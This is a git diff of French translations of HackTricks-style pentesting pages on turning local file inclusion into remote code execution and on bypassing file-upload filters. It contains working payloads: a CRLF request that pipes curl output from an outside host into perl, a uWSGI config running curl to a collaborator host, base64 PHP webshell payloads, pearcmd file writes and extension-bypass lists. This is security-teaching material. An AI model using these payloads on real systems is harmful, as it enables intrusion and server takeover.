compressé et accédez : ```python example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php ``` @@ -537,42 +536,41 @@ Vérifiez si le site utilise PHP Session (PHPSESSID) Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/ Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly ``` -En PHP, ces sessions sont stockées dans _/var/lib/php5/sess\\_\[PHPSESSID]\_ fichiers +En PHP, ces sessions sont stockées dans les fichiers _/var/lib/php5/sess\\_\[PHPSESSID]\_ ``` /var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27. user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin"; ``` -Définissez le cookie sur `` +Définir le cookie sur `` ``` login=1&user=&pass=password&lang=en_us.php ``` -Utilisez le LFI pour inclure le fichier de session PHP +Utilisez la LFI pour inclure le fichier de session PHP ``` login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2 ``` -### Via ssh +### Par ssh Si ssh est actif, vérifiez quel utilisateur est utilisé (/proc/self/status & /etc/passwd) et essayez d'accéder à **\/.ssh/id_rsa** -### **Via** **vsftpd** _**logs**_ +### **Par** **vsftpd** _**logs**_ -Les logs du serveur FTP vsftpd se trouvent à _**/var/log/vsftpd.log**_. Dans le scénario où une vulnérabilité Local File Inclusion (LFI) existe, et que l'accès à un serveur vsftpd exposé est possible, les étapes suivantes peuvent être envisagées : +Les logs du serveur FTP vsftpd se trouvent à _**/var/log/vsftpd.log**_. Dans le scénario où une vulnérabilité Local File Inclusion (LFI) existe, et qu'un accès à un serveur vsftpd exposé est possible, les étapes suivantes peuvent être envisagées : -1. Injectez un payload PHP dans le champ username lors du processus de login. -2. Après l'injection, utilisez la LFI pour récupérer les logs du serveur depuis _**/var/log/vsftpd.log**_. +1. Injecter une charge utile PHP dans le champ username lors du processus de connexion. +2. Après l'injection, utiliser la LFI pour récupérer les logs du serveur depuis _**/var/log/vsftpd.log**_. -### Via php base64 filter (using base64) +### Par le filtre base64 de PHP (en utilisant base64) -Comme montré dans [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) article, PHP base64 filter ignore simplement les caractères non-base64. Vous pouvez utiliser cela pour bypasser la vérification de l'extension de fichier : si vous fournissez du base64 qui se termine par ".php", il ignorera le "." et append "php" au base64. Voici un exemple de payload: +Comme montré dans [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) article, PHP base64 filter just ignore Non-base64. Vous pouvez utiliser cela pour contourner la vérification de l'extension de fichier : si vous fournissez un base64 qui se termine par ".php", il va simplement ignorer le "." et ajouter "php" au base64. Voici un exemple de payload: ```url http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php NOTE: the payload is "" ``` -### Via php filters (pas besoin de fichier) - -This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) explique que vous pouvez utiliser **php filters** pour générer un contenu arbitraire en sortie. Ce qui signifie essentiellement que vous pouvez **generate arbitrary php code** pour l'include **sans avoir besoin de l'écrire** dans un fichier. +### Via php filters (pas de fichier nécessaire) +This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) explique que vous pouvez utiliser les **php filters pour générer du contenu arbitraire** en sortie. Ce qui veut essentiellement dire que vous pouvez **générer du code php arbitraire** pour l'include **sans avoir besoin de l'écrire** dans un fichier. {{#ref}} lfi2rce-via-php-filters.md @@ -580,17 +578,15 @@ lfi2rce-via-php-filters.md ### Via segmentation fault -**Upload** un fichier qui sera stocké comme **temporaire** dans `/tmp`, puis dans la **même requête,** provoquez un **segmentation fault**, et ensuite le **fichier temporaire ne sera pas supprimé** et vous pourrez le retrouver. - +**Upload** un fichier qui sera stocké comme **temporary** dans `/tmp`, puis dans la **same request,** provoquez un **segmentation fault**, et alors le **temporary file won't be deleted** et vous pourrez le rechercher. {{#ref}} lfi2rce-via-segmentation-fault.md {{#endref}} -### Via Nginx stockage de fichiers temporaires - -Si vous avez trouvé une **Local File Inclusion** et que **Nginx** est en frontal de PHP, vous pourriez obtenir une RCE avec la technique suivante : +### Via Nginx temp file storage +Si vous trouvez une **Local File Inclusion** et que **Nginx** est placé devant PHP, vous pourriez obtenir une RCE avec la technique suivante : {{#ref}} lfi2rce-via-nginx-temp-files.md @@ -598,8 +594,7 @@ lfi2rce-via-nginx-temp-files.md ### Via PHP_SESSION_UPLOAD_PROGRESS -Si vous avez trouvé une **Local File Inclusion** même si vous **n'avez pas de session** et que `session.auto_start` est `Off`. Si vous fournissez le **`PHP_SESSION_UPLOAD_PROGRESS`** dans des données **multipart POST**, PHP **activera la session pour vous**. Vous pouvez abuser de cela pour obtenir une RCE : - +Si vous trouvez une **Local File Inclusion** même si vous **n'avez pas de session** et que `session.auto_start` est `Off`. Si vous fournissez le **`PHP_SESSION_UPLOAD_PROGRESS`** dans des données **multipart POST**, PHP **activera la session pour vous**. Vous pouvez abuser de ceci pour obtenir une RCE : {{#ref}} via-php_session_upload_progress.md @@ -607,8 +602,7 @@ via-php_session_upload_progress.md ### Via temp file uploads in Windows -Si vous avez trouvé une **Local File Inclusion** et que le serveur tourne sous **Windows**, vous pourriez obtenir une RCE : - +Si vous trouvez une **Local File Inclusion** et que le serveur tourne sous **Windows**, vous pourriez obtenir une RCE : {{#ref}} lfi2rce-via-temp-file-uploads.md @@ -616,13 +610,13 @@ lfi2rce-via-temp-file-uploads.md ### Via `pearcmd.php` + URL args -As [**explained in this post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), the script `/usr/local/lib/phppearcmd.php` exists by default in php docker images. Moreover, it's possible to pass arguments to the script via the URL because it's indicated that if a URL param doesn't have an `=`, it should be used as an argument. See also [watchTowr’s write-up](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) and [Orange Tsai’s “Confusion Attacks”](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/). +As [**explained in this post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), le script `/usr/local/lib/phppearcmd.php` existe par défaut dans les images php docker. De plus, il est possible de passer des arguments au script via l'URL parce qu'il est indiqué que si un param URL n'a pas de `=`, il doit être utilisé comme argument. Voir aussi [watchTowr’s write-up](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) et [Orange Tsai’s “Confusion Attacks”](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/). -The following request create a file in `/tmp/hello.php` with the content ``: +La requête suivante crée un fichier dans `/tmp/hello.php` avec le contenu `` : ```bash GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/+/tmp/hello.php HTTP/1.1 ``` -Ce qui suit exploite une vuln CRLF pour obtenir une RCE (depuis [**here**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)): +L'exemple suivant exploite une vuln CRLF pour obtenir RCE (d'après [**here**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)) : ``` http://server/cgi-bin/redir.cgi?r=http:// %0d%0a Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a @@ -631,7 +625,7 @@ Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php ``` ### Via phpinfo() (file_uploads = on) -Si vous trouvez une **Local File Inclusion** et un fichier exposant **phpinfo()** avec file_uploads = on, vous pouvez obtenir RCE : +Si vous trouvez une **Local File Inclusion** et un fichier exposant **phpinfo()** avec file_uploads = on, vous pouvez obtenir RCE: {{#ref}} @@ -640,7 +634,7 @@ lfi2rce-via-phpinfo.md ### Via compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure -Si vous trouvez une **Local File Inclusion** et que vous **pouvez exfiltrer le path** du fichier temporaire MAIS que le **server** vérifie si le **fichier à inclure contient des balises PHP**, vous pouvez essayer de **contourner cette vérification** avec cette **Race Condition** : +Si vous trouvez une **Local File Inclusion** et que vous **pouvez exfiltrer le chemin** du fichier temporaire MAIS que le **serveur** **vérifie** si le **fichier à inclure contient des marks PHP**, vous pouvez essayer de **contourner cette vérification** avec cette **Race Condition** : {{#ref}} @@ -649,7 +643,7 @@ lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md ### Via eternal waiting + bruteforce -Si vous pouvez abuser de la LFI pour **téléverser des fichiers temporaires** et faire que le server **bloque** l'exécution PHP, vous pouvez alors **brute force** les noms de fichiers pendant des heures pour trouver le fichier temporaire : +Si vous pouvez abuser du LFI pour **upload temporary files** et faire que le serveur **hang** l'exécution PHP, vous pourriez ensuite **brute force filenames during hours** pour trouver le fichier temporaire : {{#ref}} @@ -661,11 +655,11 @@ lfi2rce-via-eternal-waiting.md Si vous incluez l'un des fichiers `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (Vous devez inclure le même fichier 2 fois pour provoquer cette erreur). **Je ne sais pas en quoi c'est utile mais ça pourrait l'être.**\ -_Même si vous provoquez un PHP Fatal Error, les fichiers temporaires PHP téléversés sont supprimés._ +_Même si vous provoquez un PHP Fatal Error, les PHP temporary files uploaded sont supprimés._
-## References +## Références - [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal) - [PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders) diff --git a/src/pentesting-web/file-inclusion/lfi2rce-via-php-filters.md b/src/pentesting-web/file-inclusion/lfi2rce-via-php-filters.md index d284adc6e..3c6c3bef9 100644 --- a/src/pentesting-web/file-inclusion/lfi2rce-via-php-filters.md +++ b/src/pentesting-web/file-inclusion/lfi2rce-via-php-filters.md @@ -5,34 +5,34 @@ ## Intro -This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) explique que vous pouvez utiliser **php filters to generate arbitrary content** en sortie. Ce qui signifie essentiellement que vous pouvez **generate arbitrary php code** pour l'include **without needing to write** ce code dans un fichier. +Ce [**writeup**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) explique que vous pouvez utiliser **php filters to generate arbitrary content** comme sortie. Cela signifie essentiellement que vous pouvez **générer du code php arbitraire** pour l'`include` **sans avoir besoin de l'écrire** dans un fichier. -L'objectif du script est essentiellement de **générer une Base64** chaîne au **début** du fichier qui sera **finalement décodée** fournissant le payload désiré qui sera **interprété par `include`**. +Le but du script est essentiellement de **générer une chaîne Base64** au **début** du fichier qui sera **finalement décodée**, fournissant le payload souhaité qui sera **interprété par `include`**. Les bases pour faire cela sont : -- `convert.iconv.UTF8.CSISO2022KR` ajoutera toujours en préfixe `\x1b$)C` à la chaîne -- `convert.base64-decode` est extrêmement tolérant, il ignorera essentiellement tous les caractères qui ne sont pas valides en base64. Il pose quelques problèmes s'il trouve des "=" inattendus mais ceux-ci peuvent être supprimés avec le filtre `convert.iconv.UTF8.UTF7`. +- `convert.iconv.UTF8.CSISO2022KR` préfixera toujours `\x1b$)C` à la chaîne +- `convert.base64-decode` est extrêmement tolérant, il ignorera essentiellement tous les caractères qui ne sont pas des caractères base64 valides. Il pose des problèmes si il trouve des "=" inattendus, mais ceux-ci peuvent être supprimés avec le filtre `convert.iconv.UTF8.UTF7` La boucle pour générer du contenu arbitraire est : -1. préfixer `\x1b$)C` à notre chaîne comme décrit ci‑dessus -2. appliquer une chaîne de conversions iconv qui laisse notre base64 initial intact et convertit la partie que nous venons de préfixer en une chaîne où le seul caractère base64 valide est la prochaine partie de notre code php encodé en base64 -3. base64-decode et base64-encode la chaîne ce qui supprimera tout garbage intermédiaire -4. revenir à 1 si la base64 que nous voulons construire n'est pas encore terminée -5. base64-decode pour obtenir notre code php +1. préfixer `\x1b$)C` à notre chaîne comme décrit ci-dessus +2. appliquer une chaîne de conversions iconv qui laisse notre base64 initial intact et convertit la partie que nous venons de préfixer en une chaîne où le seul caractère base64 valide est la partie suivante de notre code php encodé en base64 +3. décoder en base64 puis ré-encoder en base64 la chaîne, ce qui supprimera tous les caractères indésirables intercalés +4. retourner à l'étape 1 si le base64 que nous voulons construire n'est pas encore terminé +5. décoder en base64 pour obtenir notre code php > [!WARNING] -> **Includes** usually do things like **appending ".php" at the end** of the file, which could diffecult the exploitation of this because you would need to find a .php file with a content that does't kill the exploit... or you **could just use `php://temp` as resource** because it can **have anything appended in the name** (lie +".php") and it will still allow the exploit to work! +> **Les includes** ajoutent généralement **".php" à la fin** du fichier, ce qui peut compliquer l'exploitation car vous devriez trouver un fichier .php dont le contenu n'annule pas l'exploit... ou vous **pourriez simplement utiliser `php://temp` comme ressource** car il peut **avoir n'importe quoi ajouté au nom** (lie +".php") et cela permettra toujours à l'exploit de fonctionner ! ## How to add also suffixes to the resulting data -[**This writeup explains**](https://www.ambionics.io/blog/wrapwrap-php-filters-suffix) how you can still abuse PHP filters to add suffixes to the resulting string. C'est utile si vous avez besoin que la sortie ait un format spécifique (comme json ou peut‑être en ajoutant des octets magiques PNG) +[**This writeup explains**](https://www.ambionics.io/blog/wrapwrap-php-filters-suffix) comment abuser encore des PHP filters pour ajouter des suffixes à la chaîne résultante. C'est utile si vous avez besoin que la sortie ait un format spécifique (comme json ou éventuellement ajouter des PNG magic bytes) ## Automatic Tools - [https://github.com/synacktiv/php_filter_chain_generator](https://github.com/synacktiv/php_filter_chain_generator) -- [**https://github.com/ambionics/wrapwrap**](https://github.com/ambionics/wrapwrap) **(can add suffixes)** +- [**https://github.com/ambionics/wrapwrap**](https://github.com/ambionics/wrapwrap) **(peut ajouter des suffixes)** ## Full script ```python @@ -96,7 +96,7 @@ print(r.text) ``` ### Améliorations -Le script précédent est limité aux caractères base64 nécessaires pour ce payload. J'ai donc créé mon propre script pour **bruteforce tous les caractères base64** : +Le script précédent est limité aux caractères base64 nécessaires pour ce payload. Par conséquent, j'ai créé mon propre script pour **bruteforce all the base64 characters**: ```php conversions = { '0': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2', diff --git a/src/pentesting-web/file-upload/README.md b/src/pentesting-web/file-upload/README.md index 17ae3820a..d1c6b727d 100644 --- a/src/pentesting-web/file-upload/README.md +++ b/src/pentesting-web/file-upload/README.md @@ -2,7 +2,7 @@ {{#include ../../banners/hacktricks-training.md}} -## Méthodologie générale - Téléversement de fichiers +## Méthodologie générale de téléversement de fichiers Autres extensions utiles : @@ -15,13 +15,13 @@ Autres extensions utiles : - **Perl**: _.pl, .cgi_ - **Erlang Yaws Web Server**: _.yaws_ -### Contourner les contrôles d'extension de fichier +### Contourner les vérifications d'extensions de fichiers -1. Si ils s'appliquent, **vérifiez** les **extensions précédentes.** Testez-les aussi en utilisant des **majuscules**: _pHp, .pHP5, .PhAr ..._ -2. _Vérifiez **l'ajout d'une extension valide avant** l'extension d'exécution (utilisez aussi les extensions précédentes):_ +1. Si elles s'appliquent, **vérifiez** les **extensions précédentes.** Testez-les aussi en utilisant des **lettres majuscules** : _pHp, .pHP5, .PhAr ..._ +2. _Vérifiez **l'ajout d'une extension valide avant** l'extension d'exécution (utilisez aussi les extensions précédentes) :_ - _file.png.php_ - _file.png.Php5_ -3. Essayez d'ajouter des **caractères spéciaux à la fin.** Vous pouvez utiliser Burp pour **bruteforcer** tous les caractères **ascii** et **Unicode**. (_Note: vous pouvez aussi essayer d'utiliser les **extensions** précédemment mentionnées_) +3. Essayez d'ajouter **des caractères spéciaux à la fin.** Vous pouvez utiliser Burp pour **bruteforcer** tous les caractères **ascii** et **Unicode**. (_Notez que vous pouvez aussi essayer d'utiliser les **extensions** mentionnées précédemment_) - _file.php%20_ - _file.php%0a_ - _file.php%00_ @@ -31,7 +31,7 @@ Autres extensions utiles : - _file._ - _file.php...._ - _file.pHp5...._ -4. Essayez de contourner les protections en **trompant le parseur d'extensions** côté serveur avec des techniques comme **doubler** l'**extension** ou **ajouter des données inutiles** (octets **null**) entre les extensions. _Vous pouvez aussi utiliser les **extensions précédentes** pour préparer un meilleur payload._ +4. Essayez de contourner les protections en **trompant le parseur d'extensions** côté serveur avec des techniques comme le **doublage** de l'**extension** ou **l'ajout de données junk** (octets **null**) entre les extensions. _Vous pouvez aussi utiliser les **extensions** précédentes pour préparer un meilleur payload._ - _file.png.php_ - _file.png.pHp5_ - _file.php#.png_ @@ -40,12 +40,12 @@ Autres extensions utiles : - _file.php%0a.png_ - _file.php%0d%0a.png_ - _file.phpJunk123png_ -5. Ajoutez **une autre couche d'extensions** aux tests précédents : +5. Ajoutez **une autre couche d'extensions** aux contrôles précédents : - _file.png.jpg.php_ - _file.php%00.png%00.jpg_ -6. Essayez de placer **l'extension exécutable avant l'extension valide** et priez que le serveur soit mal configuré. (utile pour exploiter des misconfigurations Apache où tout ce qui contient l'extension **.php**, mais **n'ayant pas nécessairement .php en fin de nom**, exécutera du code) : +6. Essayez de mettre l'**extension d'exécution avant l'extension valide** et espérez que le serveur est mal configuré. (utile pour exploiter des misconfigurations Apache où tout ce qui a l'extension **.php**, mais **n'ayant pas nécessairement .php à la fin**, exécutera du code) : - _ex: file.php.png_ -7. Utilisation des **NTFS alternate data stream (ADS)** sous **Windows**. Dans ce cas, un caractère deux-points ":" sera inséré après une extension interdite et avant une autorisée. En conséquence, un **fichier vide avec l'extension interdite** sera créé sur le serveur (ex. "file.asax:.jpg”). Ce fichier peut être modifié plus tard via d'autres techniques comme l'utilisation de son nom court. Le motif "**::$data**” peut aussi être utilisé pour créer des fichiers non vides. Par conséquent, ajouter un point après ce motif peut également être utile pour contourner d'autres restrictions (ex. "file.asp::$data.”) +7. Utilisation des **NTFS alternate data stream (ADS)** sous **Windows**. Dans ce cas, un caractère deux-points ":" sera inséré après une extension interdite et avant une autorisée. En conséquence, un **fichier vide avec l'extension interdite** sera créé sur le serveur (par ex. "file.asax:.jpg”). Ce fichier pourrait être édité plus tard via d'autres techniques comme l'utilisation de son short filename. Le pattern "**::$data**” peut aussi être utilisé pour créer des fichiers non vides. Ainsi, l'ajout d'un point après ce pattern peut aussi être utile pour contourner d'autres restrictions (par ex. "file.asp::$data.”) 8. Essayez de dépasser les limites de nom de fichier. L'extension valide est tronquée. Et le PHP malveillant reste. AAA<--SNIP-->AAA.php ``` @@ -61,44 +61,44 @@ AAA<--SNIP 232 A-->AAA.php.png ### Contourner Content-Type, Magic Number, Compression & Redimensionnement -- Contourner les contrôles de **Content-Type** en définissant la **valeur** de l'en-tête **Content-Type** sur : _image/png_ , _text/plain , application/octet-stream_ -1. Liste de mots pour Content-Type : [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt) -- Contourner la vérification du **magic number** en ajoutant au début du fichier les **octets d'une vraie image** (pour tromper la commande _file_). Ou introduire le shell dans les **métadonnées** :\ +- Contournez les vérifications de **Content-Type** en définissant la **valeur** de l'en-tête **Content-Type** sur : _image/png_ , _text/plain , application/octet-stream_ +1. Content-Type **wordlist**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt) +- Contournez la vérification du **magic number** en ajoutant au début du fichier les **octets d'une vraie image** (pour tromper la commande _file_). Ou introduisez le shell dans les **metadata** :\ `exiftool -Comment="' >> img.png` -- Si une **compression** est appliquée à votre image, par exemple en utilisant des bibliothèques PHP standard comme [PHP-GD](https://www.php.net/manual/fr/book.image.php), les techniques précédentes ne seront pas utiles. Cependant, vous pouvez utiliser le **chunk PLTE** [**technique définie ici**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) pour insérer du texte qui **survivra à la compression**. -- [**Github avec le code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php) -- La page web peut aussi **redimensionner** l'**image**, en utilisant par exemple les fonctions PHP-GD `imagecopyresized` ou `imagecopyresampled`. Cependant, vous pouvez utiliser le **chunk IDAT** [**technique définie ici**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) pour insérer du texte qui **survivra à la compression**. -- [**Github avec le code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php) -- Une autre technique pour créer un payload qui **survit à un redimensionnement d'image**, en utilisant la fonction PHP-GD `thumbnailImage`. Cependant, vous pouvez utiliser le **chunk tEXt** [**technique définie ici**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) pour insérer du texte qui **survivra à la compression**. -- [**Github avec le code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php) +- Si une **compression** est appliquée à votre image, par exemple via des bibliothèques PHP standards comme [PHP-GD](https://www.php.net/manual/fr/book.image.php), les techniques précédentes ne seront pas utiles. Cependant, vous pouvez utiliser le **PLTE chunk** [**technique définie ici**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) pour insérer du texte qui **survivra à la compression**. +- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php) +- La page web peut aussi **redimensionner** l'**image**, par exemple en utilisant les fonctions PHP-GD `imagecopyresized` ou `imagecopyresampled`. Cependant, vous pouvez utiliser le **IDAT chunk** [**technique définie ici**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) pour insérer du texte qui **survivra à la compression**. +- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php) +- Une autre technique pour créer un payload qui **survit à un redimensionnement d'image**, utilisant la fonction PHP-GD `thumbnailImage`. Cependant, vous pouvez utiliser le **tEXt chunk** [**technique définie ici**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) pour insérer du texte qui **survivra à la compression**. +- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php) -### Autres astuces à tester +### Autres astuces à vérifier -- Trouver une vulnérabilité permettant de **renommer** le fichier déjà téléversé (pour changer l'extension). -- Trouver une vulnérabilité **Local File Inclusion** pour exécuter le backdoor. +- Trouvez une vulnérabilité permettant de **renommer** le fichier déjà uploadé (pour changer l'extension). +- Trouvez une vulnérabilité **Local File Inclusion** pour exécuter le backdoor. - **Divulgation d'information possible** : -1. Téléverser **plusieurs fois** (et **en même temps**) le **même fichier** avec le **même nom** -2. Téléverser un fichier portant le **nom** d'un **fichier** ou d'un **dossier** qui **existe déjà** -3. Téléverser un fichier nommé **"." , "..”**, ou "…” . Par exemple, sous Apache sur **Windows**, si l'application enregistre les fichiers uploadés dans le dossier "/www/uploads/”, le nom de fichier "." créera un fichier appelé "uploads” dans le répertoire "/www/”. -4. Téléverser un fichier difficile à supprimer comme **"…:.jpg”** sur **NTFS**. (Windows) -5. Téléverser un fichier sous **Windows** avec des **caractères invalides** comme `|<>*?”` dans son nom. (Windows) -6. Téléverser un fichier sous **Windows** en utilisant des noms **réservés** (**interdits**) tels que CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, and LPT9. -- Essayez aussi de **téléverser un exécutable** (.exe) ou un **.html** (moins suspect) qui **exécutera du code** quand il sera accidentellement ouvert par la victime. +1. Téléversez **plusieurs fois** (et en **même temps**) le **même fichier** avec le **même nom** +2. Téléversez un fichier portant le **nom** d'un **fichier** ou d'un **dossier** qui **existe déjà** +3. Téléverser un fichier nommé **"." , ".." ou "…"**. Par exemple, sous Apache sur **Windows**, si l'application sauvegarde les fichiers uploadés dans "/www/uploads/", le nom de fichier "." créera un fichier appelé "uploads" dans le répertoire "/www/". +4. Téléversez un fichier qui peut ne pas être facilement supprimé, comme **"…:.jpg”** sur **NTFS**. (Windows) +5. Téléversez un fichier sous **Windows** avec des **caractères invalides** tels que `|<>*?”` dans son nom. (Windows) +6. Téléversez un fichier sous **Windows** en utilisant des noms **réservés** (**interdits**) tels que CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, et LPT9. +- Essayez aussi de **téléverser un exécutable** (.exe) ou un **.html** (moins suspect) qui **exécutera du code** si ouvert accidentellement par la victime. -### Astuces pour extensions spéciales +### Astuces spéciales d'extension -Si vous essayez de téléverser des fichiers sur un serveur **PHP**, [jetez un œil à l'astuce **.htaccess** pour exécuter du code](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\ -Si vous essayez de téléverser des fichiers sur un serveur **ASP**, [jetez un œil à l'astuce **.config** pour exécuter du code](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files). +Si vous essayez de téléverser des fichiers sur un **PHP server**, [take a look at the **.htaccess** trick to execute code](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\ +Si vous essayez de téléverser des fichiers sur un **ASP server**, [take a look at the **.config** trick to execute code](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files). Les fichiers `.phar` sont comme les `.jar` pour java, mais pour php, et peuvent être **utilisés comme un fichier php** (exécutés avec php, ou inclus dans un script...) -L'extension `.inc` est parfois utilisée pour des fichiers php servant uniquement à **inclure/importer** du code, donc, à un moment, quelqu'un peut avoir autorisé **cette extension à être exécutée**. +L'extension `.inc` est parfois utilisée pour des fichiers php qui ne sont utilisés que pour **importer des fichiers**, donc, à un moment donné, quelqu'un pourrait avoir permis **l'exécution de cette extension**. ## **Jetty RCE** -Si vous pouvez téléverser un fichier XML sur un serveur Jetty vous pouvez obtenir [RCE because **new \*.xml and \*.war are automatically processed**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Donc, comme indiqué dans l'image suivante, téléversez le fichier XML dans `$JETTY_BASE/webapps/` et attendez le shell ! +Si vous pouvez téléverser un fichier XML dans un serveur Jetty, vous pouvez obtenir une RCE car les nouveaux *.xml et *.war sont automatiquement traités. Donc, comme indiqué dans l'image suivante, téléversez le fichier XML dans `$JETTY_BASE/webapps/` et attendez le shell ! ![https://twitter.com/ptswarm/status/1555184661751648256/photo/1](<../../images/image (1047).png>) @@ -106,9 +106,9 @@ Si vous pouvez téléverser un fichier XML sur un serveur Jetty vous pouvez obte Pour une exploration détaillée de cette vulnérabilité, consultez la recherche originale : [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html). -Des vulnérabilités de Remote Command Execution (RCE) peuvent être exploitées sur des serveurs uWSGI si l'on a la capacité de modifier le fichier de configuration `.ini`. Les fichiers de configuration uWSGI utilisent une syntaxe spécifique pour intégrer des variables "magiques", des placeholders et des opérateurs. Notamment, l'opérateur '@', utilisé comme `@(filename)`, est conçu pour inclure le contenu d'un fichier. Parmi les différents schémas supportés par uWSGI, le schéma "exec" est particulièrement puissant, permettant de lire des données depuis la sortie standard d'un processus. Cette fonctionnalité peut être manipulée à des fins malveillantes telles que Remote Command Execution ou Arbitrary File Write/Read lorsqu'un fichier de configuration `.ini` est traité. +Les vulnérabilités Remote Command Execution (RCE) peuvent être exploitées sur des serveurs uWSGI si l'on a la capacité de modifier le fichier de configuration `.ini`. Les fichiers de configuration uWSGI utilisent une syntaxe spécifique pour incorporer des variables "magiques", des placeholders et des opérateurs. Notamment, l'opérateur '@', utilisé sous la forme `@(filename)`, est conçu pour inclure le contenu d'un fichier. Parmi les différents schemes supportés par uWSGI, le scheme "exec" est particulièrement puissant, permettant la lecture des données depuis la sortie standard d'un processus. Cette fonctionnalité peut être manipulée à des fins malveillantes telles que Remote Command Execution ou Arbitrary File Write/Read lorsqu'un fichier de configuration `.ini` est traité. -Considérez l'exemple suivant d'un fichier `uwsgi.ini` malveillant : +Considérez l'exemple suivant d'un fichier `uwsgi.ini` malveillant, montrant divers schemes : ```ini [uwsgi] ; read from a symbol @@ -126,15 +126,14 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com) ; call a function returning a char * characters = @(call://uwsgi_func) ``` -L'exécution du payload a lieu lors de l'analyse du fichier de configuration. Pour que la configuration soit activée et analysée, le processus uWSGI doit soit être redémarré (éventuellement après un crash ou en raison d'une attaque de Denial of Service), soit que le fichier soit configuré en auto-reload. La fonctionnalité d'auto-reload, si elle est activée, recharge le fichier à des intervalles spécifiés lorsqu'elle détecte des modifications. +L'exécution du payload se produit lors de l'analyse du fichier de configuration. Pour que la configuration soit activée et analysée, le processus uWSGI doit soit être redémarré (potentiellement après un crash ou en raison d'une Denial of Service attack) soit le fichier doit être configuré en auto-reload. La fonctionnalité auto-reload, si elle est activée, recharge le fichier à des intervalles spécifiés lorsqu'elle détecte des changements. -Il est crucial de comprendre la nature laxiste du parsing des fichiers de configuration de uWSGI. Plus précisément, le payload évoqué peut être inséré dans un fichier binaire (comme une image ou un 